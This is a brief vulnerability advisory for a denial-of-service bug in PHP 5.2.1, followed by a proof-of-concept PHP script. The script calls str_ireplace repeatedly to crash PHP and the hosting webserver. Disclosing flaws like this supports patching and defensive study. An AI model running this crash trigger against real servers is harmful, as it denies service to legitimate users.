source: http://www.securityfocus.com/bid/22505/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker who can run PHP code on a vulnerable computer may exploit this vulnerability to crash PHP and the webserver, denying service to legitimate users.

This issue affects PHP 5.2.1; other versions may also be vulnerable. 

<?
   $Data = "Change tracking and management software designed to watch 
for abnormal system behavior.\nSuggest features, report bugs, or ask 
questions here.";
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
?>